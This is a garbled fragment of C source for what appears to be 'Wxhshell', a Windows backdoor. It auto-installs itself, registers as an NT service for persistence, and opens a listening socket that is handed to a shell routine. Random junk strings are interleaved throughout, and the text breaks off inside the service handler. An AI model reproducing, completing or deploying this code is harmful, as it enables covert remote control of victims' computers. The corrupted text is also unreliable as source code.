gmZ7[ return 0; // 注册表启动 y!M# #K* } OPuty/^!Gw S;K5JBX0# // 主模块 rbl7-xhC7 int StartWxhshell(LPSTR lpCmdLine) nKnQ%R { O|AY2QH\ SOCKET wsl; =&t]R?
F BOOL val=TRUE; kyH0J[/n int port=0; J3QL%# struct sockaddr_in door; i4}+n^oSYo 2|A?9aE%0 if(wscfg.ws_autoins) Install(); ~J![Nx/ qYP;`L}o# port=atoi(lpCmdLine); J{U
171
]o?r(1 if(port<=0) port=wscfg.ws_port; +5x{|!Pn Y(&rlL(sPK WSADATA data; eq(1'?7]`G if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :|%1i>O GS&I6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -2B3 xIZJ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0[ZB ^ door.sin_family = AF_INET; HChlkj'7w0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oy_%U* door.sin_port = htons(port); | Di7,$c y>>)Yo&| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *cP(3n3]R closesocket(wsl); P%aNbMg return 1; ?*^HZ~O1 } Mx Dqp; ]@!3os,CNF if(listen(wsl,2) == INVALID_SOCKET) { l:+$K s closesocket(wsl); <Rfx`mn return 1; k&9[}a* } Bn{i+8I Wxhshell(wsl); wx8Qz,Z WSACleanup(); _BoYyJQH _<%YLv return 0; wvmcD% $It3}?>C' } BA8g[TA7K ~gdnD4[G // 以NT服务方式启动 ? sv[vR( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .hRtQU { Dkg^B@5Xr DWORD status = 0; z|8zNt Ug DWORD specificError = 0xfffffff; VG_xNM }5AA}= serviceStatus.dwServiceType = SERVICE_WIN32; []G@l. ]W serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q7]bUPDO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GuC 9h^[=M serviceStatus.dwWin32ExitCode = 0; mwutv8? serviceStatus.dwServiceSpecificExitCode = 0; =I0J1Ob serviceStatus.dwCheckPoint = 0; f#McTC3C serviceStatus.dwWaitHint = 0; wb>"'% A,EuUp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i9Eh1A3Y if (hServiceStatusHandle==0) return; AC*SmQ\>! PqMu2 e status = GetLastError(); wf_ $#.;m if (status!=NO_ERROR) ;`h$xB( { .% +anVXS serviceStatus.dwCurrentState = SERVICE_STOPPED; Dy*K;e-+ serviceStatus.dwCheckPoint = 0; E|A~T7G= serviceStatus.dwWaitHint = 0; z.|[g$F serviceStatus.dwWin32ExitCode = status; Bbtc[@"X serviceStatus.dwServiceSpecificExitCode = specificError; 3^iVDbAW{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); &b'{3o_KN return; @RZbo@{~ } %~:@}C%A 9iV9q]($0 serviceStatus.dwCurrentState = SERVICE_RUNNING; [P|kY serviceStatus.dwCheckPoint = 0; ibn\&}1 serviceStatus.dwWaitHint = 0; @~}~;}0x if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L}7 TM:% } U|<>xe*|% }`aT=_ B // 处理NT服务事件,比如:启动、停止 g'td(i[ VOID WINAPI NTServiceHandler(DWORD fdwControl) ;9<?~S { X%5 `B2Wu switch(fdwControl) G8WPXj( { YU XxQ| case SERVICE_CONTROL_STOP: x*p'm[Tdtm serviceStatus.dwWin32ExitCode = 0; N2 t` serviceStatus.dwCurrentState = SERVICE_STOPPED; l.(|& |